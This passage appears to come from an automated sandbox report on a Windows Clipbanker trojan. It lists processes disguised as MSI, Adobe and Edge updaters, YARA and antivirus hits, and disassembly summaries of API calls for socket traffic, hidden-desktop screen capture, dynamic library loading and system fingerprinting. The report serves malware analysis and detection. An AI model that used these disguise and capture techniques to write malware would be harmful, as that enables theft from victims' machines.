Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000016.00000002.2280260250.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000016.00000002.2280260250.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Author: unknown
Antivirus matches:	Detection: 83%, ReversingLabs Detection: 80%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	01:18:19
Start date:	22/04/2024
Path:	C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000017.00000002.2280442151.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000017.00000002.2280442151.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	01:18:24
Start date:	22/04/2024
Path:	C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe"
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000018.00000002.2338388724.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000018.00000002.2338388724.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Avira Detection: 83%, ReversingLabs Detection: 80%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	01:18:32
Start date:	22/04/2024
Path:	C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe"
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000019.00000002.2418733700.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000019.00000002.2418733700.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, Author: unknown
Antivirus matches:	Detection: 83%, ReversingLabs Detection: 80%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	01:18:41
Start date:	22/04/2024
Path:	C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe"
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000001B.00000002.2502350940.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000001B.00000002.2502350940.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	01:18:49
Start date:	22/04/2024
Path:	C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe"
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000001C.00000002.2581861448.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000001C.00000002.2581861448.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	01:18:57
Start date:	22/04/2024
Path:	C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe"
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000001D.00000002.2664724188.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000001D.00000002.2664724188.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Avira Detection: 83%, ReversingLabs Detection: 80%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	5.2%
Dynamic/Decrypted Code Coverage:	52.2%
Signature Coverage:	41.2%
Total number of Nodes:	1649
Total number of Limit Nodes:	22

Executed Functions

Function 07113B60 Relevance: 346.6, APIs: 77, Strings: 115, Instructions: 10593networkCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 07114E33
send.WS2_32(?,?,?,00000000), ref: 07115003
__aulldiv.LIBCMT ref: 07114954

Part of subcall function 07104630: __aulldiv.LIBCMT ref: 071046B2

Strings

J9q=, xrefs: 0711CC12
J9q=, xrefs: 0711FF37
J9q=, xrefs: 07120B2D
J9q=, xrefs: 0711D002
J9q=, xrefs: 0711E13E
J9q=, xrefs: 07117E18
J9q=, xrefs: 0711D356
J9q=, xrefs: 0711D87C
J9q=, xrefs: 0711D1D3
/9q=, xrefs: 0711E873
J9q=, xrefs: 0711F09E
J9q=, xrefs: 0711FCEF
J9q=, xrefs: 0711E512
J9q=, xrefs: 0711E6FD
),', xrefs: 07120C62, 07120C71, 07120C88, 07120C94, 0712097B, 0712097E
J9q=, xrefs: 0711FCA1
$9q=, xrefs: 0711F98D
J9q=, xrefs: 0711F050
J9q=, xrefs: 0711EE93
J9q=, xrefs: 0711A354
;in%, xrefs: 0711BB9C
J9q=, xrefs: 071196A0
J9q=, xrefs: 0711A138
J9q=, xrefs: 0711CC60
J9q=, xrefs: 0711C413
J9q=, xrefs: 0712042B
J9q=, xrefs: 0711A870
J9q=, xrefs: 0711F9DB
J9q=, xrefs: 0711F1F7
J9q=, xrefs: 07119823
J9q=, xrefs: 0711A522
J9q=, xrefs: 07119C13
J9q=, xrefs: 0711B988
J9q=, xrefs: 0711AA3E
J9q=, xrefs: 07119FB5
J9q=, xrefs: 0712088E
d6Uktt3Cm1WoG67, xrefs: 0711B845, 0711BD37, 0711C006, 0711C0CD, 0711F551, 071205C6, 0712064C
J9q=, xrefs: 0711DC90
J9q=, xrefs: 07120101
J9q=, xrefs: 07120783
J9q=, xrefs: 071199F4
>9q=, xrefs: 07120735
J9q=, xrefs: 0711DA2A
J9q=, xrefs: 07119652
r~#l, xrefs: 0711B0F1
J9q=, xrefs: 0711FAE6
J9q=, xrefs: 0711F78A
J9q=, xrefs: 0711E18C
J9q=, xrefs: 0711F1A9
J9q=, xrefs: 0711A4D4
J9q=, xrefs: 0711C86F
J9q=, xrefs: 07119F67
J9q=, xrefs: 071194C3
$9q=, xrefs: 0711CA41
J9q=, xrefs: 0711F418
J9q=, xrefs: 0711DF1E
J9q=, xrefs: 0711CA8F
J9q=, xrefs: 07119BC5
J9q=, xrefs: 0711B3DF
J9q=, xrefs: 0711FDEC
J9q=, xrefs: 0711CE31
eZQN, xrefs: 0711F370
J9q=, xrefs: 0711E4C4
J9q=, xrefs: 0711BEC8
J9q=, xrefs: 07119D96
J9q=, xrefs: 071201E2
J9q=, xrefs: 0711D82E
J9q=, xrefs: 0711DA78
J9q=, xrefs: 0711BE7A
J9q=, xrefs: 0711ED3B
J9q=, xrefs: 0711C1F4
|W, xrefs: 0711B1A0
/Uq=, xrefs: 0711E6AF
J9q=, xrefs: 0711C242
Button, xrefs: 0711DE06
&Uq=, xrefs: 0711ACC4
J9q=, xrefs: 07119871
J9q=, xrefs: 07119475
J9q=, xrefs: 0711FB34
J9q=, xrefs: 071167DA
J9q=, xrefs: 0711FF91
J9q=, xrefs: 0711A8BE
J9q=, xrefs: 07119DE4
J9q=, xrefs: 07119A42
J9q=, xrefs: 0711F7D8
J9q=, xrefs: 0711B9D6
J9q=, xrefs: 0711A6A2
J9q=, xrefs: 0711CDE3
J9q=, xrefs: 0711C3C5
J9q=, xrefs: 0711FE3A
J9q=, xrefs: 0711BC17
J9q=, xrefs: 0711A306
eZQN, xrefs: 0711AEAB
J9q=, xrefs: 0711AA8C
J9q=, xrefs: 0711A186
,', xrefs: 07120BF8
J9q=, xrefs: 0711AD12
J9q=, xrefs: 0711AF53
J9q=, xrefs: 07120485
J9q=, xrefs: 07120230
J9q=, xrefs: 0711DF6C
J9q=, xrefs: 0711A6F0
J9q=, xrefs: 0711C8BD
J9q=, xrefs: 071200A7
/Uq=, xrefs: 0711D185
J9q=, xrefs: 07117E66
/9q=, xrefs: 0711CFB4
J9q=, xrefs: 0711F67F
$9q=, xrefs: 0711DC42
J9q=, xrefs: 071208DC
J9q=, xrefs: 07116828
J9q=, xrefs: 0711D3A4
J9q=, xrefs: 0711E8C1
eZQN, xrefs: 0711BB6F
ly>, xrefs: 0711B4B1

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: __aulldiv$send
String ID: $9q=$$9q=$$9q=$&Uq=$),'$,'$/9q=$/9q=$/Uq=$/Uq=$;in%$>9q=$Button$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$d6Uktt3Cm1WoG67$eZQN$eZQN$eZQN$r~#l$|W$ly>
API String ID: 3864168910-3166722526
Opcode ID: 6b75356fc3e721aaefad522cf935b3b382fd7e91e3a6cd44a705cb32f00cad21
Instruction ID: 144b55d1424bdde199d93cd31cf43eae0afdfe04a35405547e326c919b759475
Opcode Fuzzy Hash: 6b75356fc3e721aaefad522cf935b3b382fd7e91e3a6cd44a705cb32f00cad21
Instruction Fuzzy Hash: F154E1B4D092A88BDB25CF28C894AD9BBB1AF59304F1481EAD84DA7391DB305FC5CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0712C230 Relevance: 68.7, APIs: 37, Strings: 2, Instructions: 474
threadsleepwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetThreadExecutionState.KERNEL32(80000041), ref: 0712C253
SetThreadExecutionState.KERNEL32(80000001), ref: 0712C262
CreateThread.KERNEL32(00000000,00000000,07121980,00000000,00000000,00000000), ref: 0712C277
CloseHandle.KERNEL32(00000000), ref: 0712C28A
GetDesktopWindow.USER32 ref: 0712C290
GetWindowRect.USER32(?,?), ref: 0712C2AA
GetSystemMetrics.USER32(00000000), ref: 0712C2CA
GetSystemMetrics.USER32(00000001), ref: 0712C2DB
GetDC.USER32(00000000), ref: 0712C301
CreateCompatibleDC.GDI32(69010E91), ref: 0712C339
CreateCompatibleBitmap.GDI32(69010E91,00000000,00000000), ref: 0712C35B
SelectObject.GDI32(00000000,00000000), ref: 0712C376
shutdown.WS2_32(?,00000002), ref: 0712C484
closesocket.WS2_32 ref: 0712C49F
SetThreadDesktop.USER32(00000110), ref: 0712C505
Sleep.KERNEL32(00000064), ref: 0712C518
GetCurrentThreadId.KERNEL32 ref: 0712C527
GetThreadDesktop.USER32(00000000), ref: 0712C52E
SetThreadDesktop.USER32(00000AF0), ref: 0712C543
GetCurrentThreadId.KERNEL32 ref: 0712C549
GetThreadDesktop.USER32(00000000), ref: 0712C550
BitBlt.GDI32(00000000,00000000,00000000,00000500,00000400,69010E91,00000000,00000000,00CC0020), ref: 0712C5B0
DeleteObject.GDI32(00000000), ref: 0712C600
DeleteDC.GDI32(00000000), ref: 0712C60A
ReleaseDC.USER32(00000000,69010E91), ref: 0712C622
Sleep.KERNEL32(000003E8), ref: 0712C6C1
GetSystemMetrics.USER32(00000000), ref: 0712C6E3
GetSystemMetrics.USER32(00000001), ref: 0712C6F1
GetCurrentThreadId.KERNEL32 ref: 0712C70C
GetThreadDesktop.USER32(00000000), ref: 0712C713
SwitchDesktop.USER32(00000110), ref: 0712C83E
SetThreadDesktop.USER32(00000AF0), ref: 0712C84B
Sleep.KERNEL32(?), ref: 0712C8DB
Sleep.KERNEL32(00000BB8), ref: 0712C926
DeleteObject.GDI32(00000000), ref: 0712C935
DeleteDC.GDI32(00000000), ref: 0712C93F
ReleaseDC.USER32(00000000,69010E91), ref: 0712C958

Strings

P, xrefs: 0712C8CD
d6Uktt3Cm1WoG67, xrefs: 0712C72E

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: Thread$Desktop$DeleteMetricsSleepSystem$CreateCurrentObject$CompatibleExecutionReleaseStateWindow$BitmapCloseHandleRectSelectSwitchclosesocketshutdown
String ID: P$d6Uktt3Cm1WoG67
API String ID: 1429317180-527943230
Opcode ID: 22303ff05532c806478a908d2bca67f14b2832a8122f313f56691a97bb89d6d8
Instruction ID: e3fe1dbe8e7fced8f017f3b47280ed689caa9dbc7dc55497b5fcce326934b344
Opcode Fuzzy Hash: 22303ff05532c806478a908d2bca67f14b2832a8122f313f56691a97bb89d6d8
Instruction Fuzzy Hash: 4C225DB4900268DFDB14DFA8D885B9EBBB1BF48305F50C159E509A73C0D738A991CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0712C990 Relevance: 47.8, APIs: 14, Strings: 13, Instructions: 575
librarythreadloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetThreadExecutionState.KERNEL32(80000041), ref: 0712C9BB
SetThreadExecutionState.KERNEL32(80000001), ref: 0712C9CA

Part of subcall function 0710D3F0: ConvertStringSecurityDescriptorToSecurityDescriptorA.ADVAPI32(0712CA21,00000001,0717A924,00000000), ref: 0710D41D

GetVersion.KERNEL32 ref: 0712C9E3
GetCurrentThreadId.KERNEL32 ref: 0712CA24
GetThreadDesktop.USER32(00000000), ref: 0712CA2B
LoadLibraryA.KERNEL32(?,?,0000000F), ref: 0712CB9A
GetProcAddress.KERNEL32(00000000,?), ref: 0712CD93
GetProcAddress.KERNEL32(00000000,?), ref: 0712CF7E
LoadLibraryA.KERNEL32(?), ref: 0712D09B
GetProcAddress.KERNEL32(00000000,?), ref: 0712D367
LoadLibraryA.KERNEL32(?), ref: 0712D4B0
GdiplusStartup.GDIPLUS(?,00000001,00000000), ref: 0712D4F7
CreateThread.KERNEL32(00000000,00000000,0712C230,00000000,00000000,00000000), ref: 0712D50C
CloseHandle.KERNEL32(00000000), ref: 0712D528

Strings

&9q=, xrefs: 0712CADB
d6Uktt3Cm1WoG67, xrefs: 0712CA56
u]l3, xrefs: 0712CE1E
J9q=, xrefs: 0712D43F
J9q=, xrefs: 0712D02A
_ou(, xrefs: 0712D134
S:(ML;;NW;;;LW), xrefs: 0712C9FE
J9q=, xrefs: 0712CB29
J9q=, xrefs: 0712CCAB
J9q=, xrefs: 0712D206
&9q=, xrefs: 0712CFDC
J9q=, xrefs: 0712CE96
D:(D;OICI;GA;;;BG)(D;OICI;GA;;;AN)(A;OICI;GA;;;AU)(A;OICI;GA;;;BA), xrefs: 0712CA12

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: Thread$AddressLibraryLoadProc$DescriptorExecutionSecurityState$CloseConvertCreateCurrentDesktopGdiplusHandleStartupStringVersion
String ID: &9q=$&9q=$D:(D;OICI;GA;;;BG)(D;OICI;GA;;;AN)(A;OICI;GA;;;AU)(A;OICI;GA;;;BA)$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$S:(ML;;NW;;;LW)$_ou($d6Uktt3Cm1WoG67$u]l3
API String ID: 4097687401-392000446
Opcode ID: 8ee0120921872b78ab0db9417b7d9c0a7aeaa017b325b364c2d9ce9d9676d00d
Instruction ID: c496cb278d0d91eb511cc2c5027a7bdb1029ccf8da6c780034343884c51777bc
Opcode Fuzzy Hash: 8ee0120921872b78ab0db9417b7d9c0a7aeaa017b325b364c2d9ce9d9676d00d
Instruction Fuzzy Hash: AE72EFB4D096A88BDB26CF6898817DDFBB1AF59304F1082D9D98CA7251EB301BC5CF51

Uniqueness

Uniqueness Score: -1.00%

Function 07121980 Relevance: 33.6, APIs: 16, Strings: 2, Instructions: 2090networkthreadsleepCOMMON

Download Yara Rule

APIs

SetThreadExecutionState.KERNEL32(80000041), ref: 071219C0
SetThreadExecutionState.KERNEL32(80000001), ref: 071219CF
GetCurrentThreadId.KERNEL32 ref: 071219E2
GetThreadDesktop.USER32(00000000), ref: 071219E9
SetThreadDesktop.USER32(00000AF0), ref: 071219FE
recv.WS2_32(00000B04,00000000,00000004,00000002), ref: 07121A58
WSAGetLastError.WS2_32 ref: 07121A61
__aulldiv.LIBCMT ref: 071228DF

Part of subcall function 07104630: __aulldiv.LIBCMT ref: 071046B2

__aulldiv.LIBCMT ref: 07122DA8
send.WS2_32(?,?,?,00000000), ref: 07122F53
recv.WS2_32(?,?,0000000C,00000002), ref: 07123148
recv.WS2_32(?,?,0000000C,00000008), ref: 0712320A
recv.WS2_32(?,?,00000000,00000008), ref: 071233C6
Sleep.KERNEL32(0000000A), ref: 07124093
Sleep.KERNEL32(00000001), ref: 0712409B

Strings

J9q=, xrefs: 07121B3C
J9q=, xrefs: 07121B87

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: Thread$recv$__aulldiv$DesktopExecutionSleepState$CurrentErrorLastsend
String ID: J9q=$J9q=
API String ID: 4270644286-1087566249
Opcode ID: 1499375d0ba8f5ce3a0a07914d0f4e4e34d7ea25423608617aa017a4044dd298
Instruction ID: acf48f481838166d898009b3da9dcf90a9f0bf33758fc550ad3312bf0b267f61
Opcode Fuzzy Hash: 1499375d0ba8f5ce3a0a07914d0f4e4e34d7ea25423608617aa017a4044dd298
Instruction Fuzzy Hash: 4643DEB4D052698FDB69CF18C894BEEBBB1AB89304F1081DAD449A7381DB349EC5DF50

Uniqueness

Uniqueness Score: -1.00%

Function 0710A230 Relevance: 28.8, APIs: 4, Strings: 12, Instructions: 807
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0710A1E0: GetCurrentProcess.KERNEL32(00000000), ref: 0710A1F4
Part of subcall function 0710A1E0: IsWow64Process.KERNEL32(00000000), ref: 0710A1FB

RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,00000000,?,?,?), ref: 0710A65B
RegQueryValueExA.KERNEL32(?,?,00000000,00020019,?,00000400), ref: 0710A7C5
RegCloseKey.ADVAPI32(00000000), ref: 0710A83D
GetCurrentHwProfileA.ADVAPI32(?), ref: 0710A97E

Strings

J9q=, xrefs: 0710A565
J9q=, xrefs: 0710A8E4
J9q=, xrefs: 0710A896
J9q=, xrefs: 0710A35C
J9q=, xrefs: 0710AAD6
J9q=, xrefs: 0710A72A
J9q=, xrefs: 0710AA7C
J9q=, xrefs: 0710ABD3
J9q=, xrefs: 0710A30E
J9q=, xrefs: 0710ACF6
J9q=, xrefs: 0710AC2D
J9q=, xrefs: 0710AD44

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: CurrentProcess$CloseOpenProfileQueryValueWow64
String ID: J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=
API String ID: 165412945-3386997800
Opcode ID: 30a26d3ddcbe3a980272f67b2d089057cf96f62c47e93eaf49067ef89c6dcdb2
Instruction ID: 4cf0e998bbd4c947448ab9d9993190322a5cef4392b68fad35f6b56d937d7c46
Opcode Fuzzy Hash: 30a26d3ddcbe3a980272f67b2d089057cf96f62c47e93eaf49067ef89c6dcdb2
Instruction Fuzzy Hash: 36A2DEB4D056A88BDB26CB68C890BDDBBB1AF59304F1481DAD98CB7251EB301BC5CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00B2B010 Relevance: 20.2, APIs: 12, Instructions: 2241COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNEL32(?,00000000), ref: 00B2B14B
CreateDirectoryA.KERNEL32(0000000F,00000000), ref: 00B2B6CD
CreateDirectoryA.KERNEL32(0000000F,00000000), ref: 00B2B8E9
CreateDirectoryA.KERNEL32(?,00000000), ref: 00B2BA77
CreateDirectoryA.KERNEL32(?,00000000), ref: 00B2C326
GetFileAttributesA.KERNEL32(00000000), ref: 00B2C8B2
GetLastError.KERNEL32 ref: 00B2C8BD
CreateDirectoryA.KERNEL32(?,00000000), ref: 00B2C90D
CreateDirectoryA.KERNEL32(00000000,00000000,?), ref: 00B2CB49
CreateDirectoryA.KERNEL32(00000000,00000000,?,?,?,?,?,00000000,00000000,?,?,?,?), ref: 00B2D1EF
std::_Throw_Cpp_error.LIBCPMT ref: 00B2DB22
std::_Throw_Cpp_error.LIBCPMT ref: 00B2DB33

Memory Dump Source

Source File: 00000000.00000002.4491544034.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.4491456488.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491798965.0000000000C52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491823337.0000000000C5A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491854790.0000000000C82000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491881500.0000000000C88000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492078293.0000000000E65000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492121485.0000000000E66000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492393674.00000000011D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Similarity

API ID: CreateDirectory$Cpp_errorThrow_std::_$AttributesErrorFileLast
String ID:
API String ID: 453214671-0
Opcode ID: d34f8502cd09c61e988220190ec831f16db544b0b0f272a1c37278959349eb72
Instruction ID: e4812cb9be9ab0c696ef05b51a32d5c52617f778a1ddb86dbf06e3e904db1dcb
Opcode Fuzzy Hash: d34f8502cd09c61e988220190ec831f16db544b0b0f272a1c37278959349eb72
Instruction Fuzzy Hash: 3C3344B0D002688BDB25CF68DD85BEDBBB5AF59304F1082D9E45DA7292DB306AC4CF51

Uniqueness

Uniqueness Score: -1.00%

Function 07109A10 Relevance: 17.9, APIs: 2, Strings: 8, Instructions: 430
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,0717102C,?,?), ref: 07109B1E

Part of subcall function 071097E0: std::exception::exception.LIBCMTD ref: 0710981C

GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 07109FE0

Strings

J9q=, xrefs: 07109B7F
J9q=, xrefs: 07109BCA
J9q=, xrefs: 07109E28
J9q=, xrefs: 0710A0BD
J9q=, xrefs: 0710A063
J9q=, xrefs: 07109CE2
J9q=, xrefs: 07109E7F
J9q=, xrefs: 07109C97

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: DirectoryInformationVolumeWindowsstd::exception::exception
String ID: J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=
API String ID: 1347862782-3794784726
Opcode ID: b2c53583a85ab2dbde04ab0cae65702f57965c9e3c2a2936e5ddef354ad4bf22
Instruction ID: 31f0f3d8054c33aa999abb97849d7d8c6e3f4c99b4740f1cdf37b2b4daab002e
Opcode Fuzzy Hash: b2c53583a85ab2dbde04ab0cae65702f57965c9e3c2a2936e5ddef354ad4bf22
Instruction Fuzzy Hash: 9932E1B4D052A8CBDB26CF68C891BDDBBB1AF59300F1481D9D989A7391EB301A85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00BA23C0 Relevance: 13.9, APIs: 9, Instructions: 352
networksleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

recv.WS2_32(?,0000032C,0000FFFF,00001006), ref: 00BA2481
recv.WS2_32(00000000,0000000C,00000002,0000000C), ref: 00BA24EE
recv.WS2_32(00000000,0000000C,00000008), ref: 00BA250F
recv.WS2_32(00000000,?,00000008,76A923A0), ref: 00BA25AC
recv.WS2_32(?,00000004,00000008,76A923A0), ref: 00BA27D6
__Xtime_get_ticks.LIBCPMT ref: 00BA27DA
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00BA27E8
Sleep.KERNEL32(00000001,00000000,?,00002710,00000000,76A923A0), ref: 00BA284F
Sleep.KERNEL32(00000064,?,00002710,00000000,76A923A0), ref: 00BA285D

Memory Dump Source

Source File: 00000000.00000002.4491544034.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.4491456488.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491798965.0000000000C52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491823337.0000000000C5A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491854790.0000000000C82000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491881500.0000000000C88000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492078293.0000000000E65000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492121485.0000000000E66000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492393674.00000000011D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

